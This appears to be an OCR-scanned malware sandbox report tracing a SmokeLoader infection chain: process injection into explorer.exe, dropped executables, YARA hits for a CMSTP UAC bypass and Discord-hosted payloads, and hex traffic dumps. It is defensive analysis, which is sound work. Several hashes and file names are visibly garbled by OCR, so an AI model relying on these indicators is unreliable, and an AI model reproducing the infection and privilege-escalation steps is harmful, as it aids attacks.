78 6f 20 78 20 4f 78 59 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 45 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 4f
4f 52 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78
4b 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 74 20 78 20 6b 59 20 78 20 4f 4f 78 20 78 20
4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 6 20 78 20 4f 78 4f 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f
78 78 20 78 20 52 51 20 78 20 4f 4f 4b 20 78 20
Data Ascii: x ko x YO x Yx x KR x RQ x kk x RQ x EK x KK x Eo x EK x kx x OOK x OO0 x Ox0 x OxY x Oxk x OxO x tE x
OOx x O0Y x OOR x Qt x Oxk x Oxk x kx x Qt x OOR x OxK x EK x KK x Eo x EK x Et x kY x OOx x OxO x Oox x OO0 x
Ox0O x QQ x OOR x OxO x Oxx x RQ x OOK x
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kBytes
Timestamp transferred

2021-10-29 18:30:03 UTC 2988

Code Manipulations

Statistics

Behavior

)

System Behavior

Direction

IN

Click to jump to process

Data

Data Raw: 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78
20 78 20 4f 78 4f 20 78 20 78 20 78 20 78 20 78 20 59 6f 20 78 20 6b 20 78 20 4f 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78
20 4f 4f 4f 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 78 4f 20 78 20
Af Af 4b 20 78 20 4f 4f 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 78 20 78 20 4b 6b 20 78 20 4b 52
20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 78 20 78 20 59 52 20 78 20 6b 20
78 20 4f 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 51 6b 20 78 20 4f
78 6b 20 78 20 4f 6f 4f 20 78 20 45 6f 20 78

Data Ascii: OO0 x OOK x OxO x kk x KR x OxO x Oox x OxO x x x X X Yo x k x O x kx x OOK x OO0 x Oxx x OOt x QQ x
OOR x kR x OxO x OOK x OOY x OxY x OO0 x OOx x x x Kk x KR x Kk x KR x Kk x KR x Kk X x X YR x k x O x RY x
0O0Y x O0Y x OxO x OxQ x Qk x Oxk x 000 x Eo x

Analysis Process: 25Kf6vSBoq.exe PID: 2904 Parent PID: 5520

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:28:34

29/10/2021
C:\Users\user\Desktop\25Kf6vSBoq.exe

true
‘C:\Users\user\Desktop\25Kf6vSBog.exe'
0x400000

344064 bytes
3B947EDS5AABDD775B1AFC31A5C4D39A0
true

true

C, C++ or other language

Reputation: low
Analysis Process: 25Kf6vSBoq.exe PID: 5668 Parent PID: 2904
General
Start time: 20:28:38
Start date: 29/10/2021
Path: C:\Users\user\Desktop\25Kf6vSBog.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\25Kf6vSBoq.exe'
Imagebase: 0x400000
File size: 344064 bytes
MDS5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0

Has elevated privileges:
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Has administrator privileges:
Programmed in:

Yara matches:

true
C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: explorer.exe PID: 3292 Parent PID: 5668
General
Start time: 20:28:46
Start date: 29/10/2021
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

false

C:\Windows\Explorer.EXE

0x7ff662bf0000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1LD
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
File Written
Analysis Process: 6EC5.exe PID: 6952 Parent PID: 3292
General
Start time: 20:29:22
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\6EC5.exe
Wow64 process (32bit): true
Commandline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe
Imagebase: 0x400000
File size: 344064 bytes
MDS5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation:

low

‘ Analysis Process: irjbuft PID: 6960 Parent PID: 1104
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General

Start time: 20:29:22

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\irjbuft
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\irjbuft
Imagebase: 0x400000

File size: 344064 bytes

MDS5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

‘ Analysis Process: 6EC5.exe PID: 7072 Parent PID: 6952 ’

General

Start time: 20:29:31

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\6EC5.exe

Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe

Imagebase: 0x400000

File size: 344064 bytes

MD5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:

0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp, Author:
Joe Security

Reputation: low

Analysis Process: irjbuft PID: 7100 Parent PID: 6960

General

Start time: 20:29:35

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\irjbuft

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\irjbuft

Imagebase: 0x400000

File size: 344064 bytes

MDS5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Analysis Process: B82B.exe PID: 1936 Parent PID: 3292

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

20:29:42

29/10/2021
C:\Users\user\AppData\Local\Temp\B82B.exe
true
C:\Users\user~1\AppData\Local\Temp\B82B.exe
0x850000

512512 bytes
F57B28AEC65D4691202B9524F84CC54A
true

true

.Net C# or VB.NET

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious
executable with reference to a Discord attachment (often used for malware hosting on a
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B82B.exe, Author: Florian
Roth

Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Registry Activities Show Windows behavior
Key Created
Key Value Created
Analysis Process: C1B2.exe PID: 5352 Parent PID: 3292
General
Start time: 20:29:45
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\C1B2.exe
Wow64 process (32bit): true
Commandline: C:\Users\user~1\AppData\Local\Temp\C1B2.exe
Imagebase: 0xe80000
File size: 512952 bytes
MDS5 hash: 42758E2569239A774BECDB12698B124C

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

true
true
.Net C# or VB.NET

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious
executable with reference to a Discord attachment (often used for malware hosting on a
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\C1B2.exe, Author: Florian
Roth

Reputation:

File Activities

File Created
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File Read

Registry Activities Show Windows behavior

Analysis Process: CDOD.exe PID: 5072 Parent PID: 3292

General
Start time: 20:29:49
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\CDOD.exe
Wow64 process (32bit): true
Commandline: C:\Users\user~1\AppData\Local\Temp\CDOD.exe
Imagebase: 0x400000
File size: 212992 bytes
MD5 hash: 73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp, Author:
Joe Security
o Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp, Author:
Joe Security
File Activities Show Windows behavior
File Created
File Written
Analysis Process: DF9C.exe PID: 5668 Parent PID: 3292
General
Start time: 20:29:52
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\DF9C.exe
Wow64 process (32bit): true
Commandline: C:\Users\user~1\AppData\Loca\Temp\DF9C.exe
Imagebase: 0x460000
File size: 859648 bytes
MDS5 hash: AB823DF932B3C2941A9015848EBDBI7B
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
File Activities Show Windows behavior
File Created
File Written
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File Read

Registry Activities Show Windows behavior

Key Value Created

Analysis Process: EA8A.exe PID: 3820 Parent PID: 3292

General

Start time: 20:29:55

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\EA8A.exe
Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\EA8A.exe
Imagebase: 0xfa0000

File size: 161280 bytes

MD5 hash: 9FA070AF1ED2E1F07ED8COF6EB2BDD29
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious

executable with reference to a Discord attachment (often used for malware hosting on a
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EA8A.exe, Author: Florian
Roth

‘ Analysis Process: AdvancedRun.exe PID: 6864 Parent PID: 1936 ’

General

Start time: 20:29:56

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-
de7136a784d5\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedR
un.exe' /[EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-d
e7136a784db5\test.bat’ /WindowState "0" /PriorityClass "32" /CommandLine " /StartDirectory "
/RunAs 8 /Run

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: FABC.exe PID: 64 Parent PID: 3292

General

Start time: 20:29:58

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\F4BC.exe
Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\F4BC.exe
Imagebase: 0x400000
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File size: 347136 bytes

MDS5 hash: 31BE6099D31BDBF1ED339EFFDC1C7064

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp, Author:
Joe Security

‘ Analysis Process: DF9C.exe PID: 6128 Parent PID: 5668 ’

General

Start time: 20:30:01

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\DF9C.exe
Wow64 process (32bit): true

Commandline: DF9C.exe

Imagebase: 0x8a0000

File size: 859648 bytes

MD5 hash: AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Disassembly

Code Analysis
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